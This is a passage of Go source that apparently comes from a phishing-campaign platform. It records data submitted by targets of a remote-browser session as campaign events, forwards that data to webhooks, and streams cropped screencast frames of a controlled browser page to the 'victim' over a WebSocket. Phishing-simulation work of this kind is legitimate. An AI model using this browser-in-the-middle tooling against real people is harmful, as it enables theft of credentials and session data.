return
}
payload := map[string]string{
"source": "remote_browser",
"message": message,
}
raw, err := json.Marshal(payload)
if err != nil {
return
}
eventData, dataErr := vo.NewOptionalString1MB(string(raw))
if dataErr != nil {
return
}
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: infoEventID,
Data: eventData,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
m.CampaignRepository.SaveEvent(ctx, event) //nolint:errcheck
}
// saveSubmitEvent saves arbitrary script-submitted data as a submitted_data campaign event.
// Unlike saveCaptureEvent (which expects a cookie/storage bundle), this accepts any
// JSON-serializable value passed to submitData() in the script.
func (m *RemoteBrowserController) saveSubmitEvent(
ctx context.Context,
req *http.Request,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
submitValue interface{},
clientIP string,
userAgent string,
) {
submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA]
if submitDataEventID == nil {
return
}
bundle := map[string]interface{}{
"capture_type": "form_data",
"source": "remote_browser",
"data": submitValue,
}
bundleJSON, err := json.Marshal(bundle)
if err != nil {
return
}
var metadata *vo.OptionalString1MB
if m.CampaignService != nil {
if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil {
metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign)
}
}
if metadata == nil {
metadata = vo.NewEmptyOptionalString1MB()
}
eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON))
if dataErr != nil {
m.Logger.Warnw("remote browser submitData payload too large to save", "campaign_id", campaignID, "error", dataErr)
return
}
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: submitDataEventID,
Data: eventData,
Metadata: metadata,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil {
return
}
if m.CampaignService != nil {
m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck
}
}
// cropImage crops an already-decoded image and returns base64 JPEG at the given quality (1-100).
// quality 0 means use the default (92).
func cropImage(src image.Image, x, y, w, h, quality int) (string, error) {
b := src.Bounds()
if x < b.Min.X {
x = b.Min.X
}
if y < b.Min.Y {
y = b.Min.Y
}
if x+w > b.Max.X {
w = b.Max.X - x
}
if y+h > b.Max.Y {
h = b.Max.Y - y
}
if w <= 0 || h <= 0 {
return "", fmt.Errorf("crop region out of bounds")
}
dst := image.NewRGBA(image.Rect(0, 0, w, h))
draw.Draw(dst, dst.Bounds(), src, image.Pt(x, y), draw.Src)
var buf bytes.Buffer
q := quality
if q <= 0 || q > 100 {
q = 92
}
if err := jpeg.Encode(&buf, dst, &jpeg.Options{Quality: q}); err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(buf.Bytes()), nil
}
// runNamedStream queries the element CSS bounding rect, then streams cropped frames to
// the victim WebSocket until streamCtx is cancelled or the connection closes.
//
// The crop rect is computed in JPEG pixels by scaling the CSS rect by the ratio of
// (JPEG frame dimensions / CSS viewport dimensions) taken from the first frame's metadata.
// This corrects for HiDPI displays and screencast downscaling where JPEG pixels ≠ CSS pixels.
func (m *RemoteBrowserController) runNamedStream(
streamCtx context.Context,
page *rod.Page,
connMu *sync.Mutex,
conn *websocket.Conn,
selector string,
name string,
si *streamInfo,
) {
// Get element CSS bounding rect (values are in CSS pixels, scale-invariant via viewport).
res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector))
if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" {
return
}
var cssRect struct{ X, Y, W, H float64 }
if err := json.Unmarshal([]byte(res.Value.Str()), &cssRect); err != nil || cssRect.W <= 0 || cssRect.H <= 0 {
return
}
si.setOrigin(cssRect.X, cssRect.Y)
// displayW/H: CSS pixel size sent to the victim canvas for layout.
// Locked to the element's size at stream-start time; updated only when
// the element itself genuinely resizes (cssRectChanged), NOT when
// EmulateViewport causes responsive-layout reflow that changes cssRect.W/H.
displayW := int(cssRect.W)
displayH := int(cssRect.H)
streamPage := page.Context(streamCtx)
frameCh := make(chan *proto.PageScreencastFrame, 4)
wait := streamPage.EachEvent(func(e *proto.PageScreencastFrame) (stop bool) {
select {
case frameCh <- e:
default:
}
return
})
go wait()
nsQ, nsW, nsH, nsN := 85, 3840, 2160, 1
namedStreamScreencast := proto.PageStartScreencast{
Format: proto.PageStartScreencastFormatJpeg,
Quality: &nsQ,
MaxWidth: &nsW,
MaxHeight: &nsH,
EveryNthFrame: &nsN,
}
if err := namedStreamScreencast.Call(streamPage); err != nil {
return
}
// page (not streamPage) must be used here: streamCtx is already cancelled when this defer
// runs, so a StopScreencast on streamPage would never reach Chrome.
defer proto.PageStopScreencast{}.Call(page) //nolint:errcheck
var minInterval time.Duration
if si.maxFps > 0 {
minInterval = time.Second / time.Duration(si.maxFps)
}
var lastFrameSent time.Time
// cropX/Y/W/H are in JPEG pixels, recomputed whenever the JPEG dimensions or
// the viewport (DeviceWidth/Height) change. The viewport can change mid-stream
// when EmulateViewport is applied after the victim sends their window size.
var cropX, cropY, cropW, cropH int
var lastJpegW, lastJpegH int
var lastDevW, lastDevH float64 // track viewport to detect changes
var lastRectCheck time.Time // throttle for periodic element-size polling
requeryCSSRect := func(devW, devH float64) {
res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector))
if err != nil {
return
}
if res.Value.Str() == "" || res.Value.Str() == "null" {
return
}
var r struct{ X, Y, W, H float64 }
if err := json.Unmarshal([]byte(res.Value.Str()), &r); err != nil || r.W <= 0 {
return
}
cssRect = r
si.setOrigin(cssRect.X, cssRect.Y)
}
for {
select {
case <-streamCtx.Done():
stopPayload, _ := json.Marshal(map[string]string{"type": "stream_stop", "name": name})
connMu.Lock()
conn.WriteMessage(websocket.TextMessage, stopPayload) //nolint:errcheck
connMu.Unlock()
return
case frame, ok := <-frameCh:
if !ok {
return
}
// Always ack to prevent CDP screencast stalling.
go proto.PageScreencastFrameAck{SessionID: frame.SessionID}.Call(page) //nolint:errcheck
// Throttle: drop frames that arrive faster than maxFps.
if minInterval > 0 && !lastFrameSent.IsZero() && time.Since(lastFrameSent) < minInterval {
continue
}
lastFrameSent = time.Now()
var devW, devH float64
if frame.Metadata != nil {
devW = frame.Metadata.DeviceWidth
devH = frame.Metadata.DeviceHeight
}
// Decode JPEG once; reuse for both scale computation and cropping.
src, err := jpeg.Decode(bytes.NewReader(frame.Data))
if err != nil {
continue
}
jpegW := src.Bounds().Max.X
jpegH := src.Bounds().Max.Y
if devW <= 0 {
devW = float64(jpegW)
}
if devH <= 0 {
devH = float64(jpegH)
}
viewportChanged := devW != lastDevW || devH != lastDevH
jpegDimsChanged := jpegW != lastJpegW || jpegH != lastJpegH
// When the viewport changes (e.g. EmulateViewport applied after victim connects),
// re-query the element's bounding rect — its CSS position and size may have
// changed due to responsive layout reflow.
if viewportChanged {
lastDevW, lastDevH = devW, devH
requeryCSSRect(devW, devH)
}
// Periodically re-query the element rect to detect size changes caused by
// CSS transitions, popups expanding, or other dynamic layout shifts.
// Skip when a viewport change already triggered a re-query this frame.
cssRectChanged := false
if !viewportChanged && cropW > 0 && time.Since(lastRectCheck) >= 250*time.Millisecond {
lastRectCheck = time.Now()
oldX, oldY, oldW, oldH := cssRect.X, cssRect.Y, cssRect.W, cssRect.H
requeryCSSRect(devW, devH)
if cssRect.X != oldX || cssRect.Y != oldY || cssRect.W != oldW || cssRect.H != oldH {
cssRectChanged = true
}
}
// Recompute scale-aware crop rect whenever JPEG dimensions, viewport, or
// the element's own CSS dimensions change.
if jpegDimsChanged || viewportChanged || cssRectChanged {
lastJpegW, lastJpegH = jpegW, jpegH
scaleX := float64(jpegW) / devW
scaleY := float64(jpegH) / devH
si.setScale(scaleX, scaleY)
cropX = int(cssRect.X * scaleX)
cropY = int(cssRect.Y * scaleY)
cropW = int(cssRect.W * scaleX)
cropH = int(cssRect.H * scaleY)
// Update canvas display size only when the element itself resized,
// not when a viewport change triggers responsive-layout reflow.
if cssRectChanged {
displayW = int(cssRect.W)
displayH = int(cssRect.H)
}
if cropW <= 0 || cropH <= 0 {
continue
}
// cssWidth/cssHeight: stable CSS display size (locked to initial element
// size, updated only on genuine element resize). width/height are the
// JPEG crop buffer dimensions, which can differ on HiDPI displays.
startPayload, _ := json.Marshal(map[string]interface{}{
"type": "stream_start",
"name": name,
"width": cropW,
"height": cropH,
"cssWidth": displayW,
"cssHeight": displayH,
})
connMu.Lock()
conn.WriteMessage(websocket.TextMessage, startPayload) //nolint:errcheck
connMu.Unlock()
}
if cropW <= 0 || cropH <= 0 {
continue
}
cropped, err := cropImage(src, cropX, cropY, cropW, cropH, si.quality)
if err != nil {
continue
}
payload, err := json.Marshal(map[string]interface{}{
"type": "stream_frame",
"name": name,
"frame": cropped,
"width": cropW,
"height": cropH,
})
if err != nil {
continue
}
connMu.Lock()
writeErr := conn.WriteMessage(websocket.TextMessage, payload)
connMu.Unlock()
if writeErr != nil {
return
}
}
}
}
func stringField(m map[string]interface{}, key string) string {
v, _ := m[key].(string)
return v
}